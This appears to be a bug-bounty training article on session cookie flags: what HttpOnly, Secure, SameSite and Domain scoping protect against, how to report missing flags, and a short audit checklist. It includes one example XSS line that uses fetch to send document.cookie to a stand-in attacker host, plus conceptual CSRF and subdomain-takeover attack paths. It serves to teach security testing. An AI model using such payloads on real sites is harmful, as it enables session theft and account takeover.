Quick answer
Cookie flags control where and how the cookie is sent. The four critical ones: HttpOnly blocks access from JavaScript (mitigates theft via XSS), Secure requires HTTPS (mitigates sniffing on public networks), SameSite controls cross-site (mitigates CSRF), Path/Domain scope it. When a session cookie lacks any of the first three, there's a report if you can demonstrate impact.
The four flags and what each protects
HttpOnly
Set-Cookie: sessionid=abc123; HttpOnly
The cookie is not accessible from document.cookie. If the app has an XSS, the attacker can't read the cookie and steal it — they can only act within the user's context in that tab (more limited).
Without HttpOnly + XSS: direct ATO via fetch('//attacker.tld?c=' + document.cookie).
Secure
Set-Cookie: sessionid=abc123; Secure
The cookie only travels over HTTPS. Over HTTP, the browser doesn't send it.
Without Secure: a MitM on a public WiFi network (café, airport) can read the session cookie. Any downgrade to HTTP also exposes it.
SameSite
Set-Cookie: sessionid=abc123; SameSite=Strict
Set-Cookie: sessionid=abc123; SameSite=Lax # current default
Set-Cookie: sessionid=abc123; SameSite=None; Secure
| Value | When it's sent |
|---|---|
Strict | Only same-site (same registrable domain) |
Lax | Same-site + top-level GET navigation (default) |
None | Always (requires Secure) |
Without SameSite or with None: classic CSRF works. With Lax, CSRF on POST is blocked but GET still crosses — if a critical action accepts GET, it's still exploitable.
Path and Domain
Set-Cookie: admin=1; Path=/admin; Domain=app.tld
They scope where the cookie is sent. If you set Domain=.tld (parent domain), the cookie crosses to all subdomains — dangerous if there are low-trust subdomains.
How to report each case
"HttpOnly missing" (low severity only)
Without demonstrating XSS, it's a low-severity or N/A finding. It's accepted more when:
- You demonstrate XSS and show that without
HttpOnlythe theft is trivial. - The cookie is a session / auth cookie, not telemetry.
"Secure missing" (low / chained)
More relevant if:
- The app serves over HTTP on some subdomain or legacy URL.
- The
Strict-Transport-Securityheader is misconfigured or absent.
"SameSite missing" (medium / chained with CSRF)
This is where there's real impact. ALWAYS report with:
- A working CSRF PoC against a state-changing endpoint.
- The full flow: victim → attacker page → cross-site request with cookie → change in the account.
Without a working PoC, it's just "best practice missing" and gets closed as Informational.
Common bypasses in cookie validation
Cookie collision (subdomain → main domain)
If the main cookie is on app.tld with Domain=app.tld and an attacker manages to set a cookie with the same name from evil.app.tld (a compromised subdomain), the browser may send two cookies with the same name and the app may use the wrong one.
__Host- and __Secure- prefixes
Cookies with the __Host- prefix must have Secure, Path=/, and no Domain. __Secure- only requires Secure. If the app uses these prefixes, there's extra protection against cookie collision.
IDN / Unicode tricks
Subdomains with similar-looking Unicode characters can set cookies that the browser interprets as belonging to the parent domain in some browsers (a rare vector, but it exists).
Quick cookie audit
# Inspect a domain's cookies
curl -sI https://target.tld/login | grep -i 'set-cookie'
# In Burp: Proxy > HTTP history tab > filter by Set-Cookie
# In DevTools: Application > Cookies > review each flag
For a session cookie, you should see:
sessionid=...; HttpOnly; Secure; SameSite=Strict; Path=/
If any of the three main flags is missing on an auth or session cookie, there's a potential report. Triage will require a PoC of real impact (XSS chain, MitM scenario, working CSRF).
Pattern: cookie with Domain=.tld and a compromised subdomain
Cookie: session=abc; Domain=.example.tld
If any subdomain (legacy.example.tld, static.example.tld) has an XSS or subdomain takeover, the main domain's session cookie travels to that subdomain. A classic ATO vector via subdomain takeover in programs with lots of legacy subdomains.
Checklist
- Do session cookies have
HttpOnly,SecureandSameSite? - Is there an XSS or subdomain takeover that, combined with the missing cookie flag, leads to ATO?
- Is
SameSiteset toLaxand is there any critical endpoint that accepts GET? - Do cookies use
Domain=.tld(parent)? If so, which subdomains exist and are they safe? - Are there cookies with the
__Host-or__Secure-prefix? (a good-practice signal). - Are cookies invalidated at logout/server-side, or just deleted on the client?
Related labs
Practice CSRF leveraging misconfigured SameSite and cookie + XSS combinations: cookies and session labs.
Practice this in a lab
Csrf
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
Related articles
CSRF (Cross-Site Request Forgery) — fully explained with bypasses
CSRF: how it's exploited, common defenses (tokens, SameSite, Origin), bypasses (method change, JSON, double-submit, content-type) and where to hunt it in any app.
JWT — vulnerabilities, bypasses and claim manipulation
alg=none, RS256→HS256 confusion, kid SQLi/path traversal, jku spoofing, secret cracking with hashcat. How to hunt poorly verified JWTs.
OAuth attacks — state CSRF, redirect_uri bypass, code/token leakage
The missing state parameter, poorly validated redirect_uri, response_type confusion. How to steal OAuth tokens and force account linking.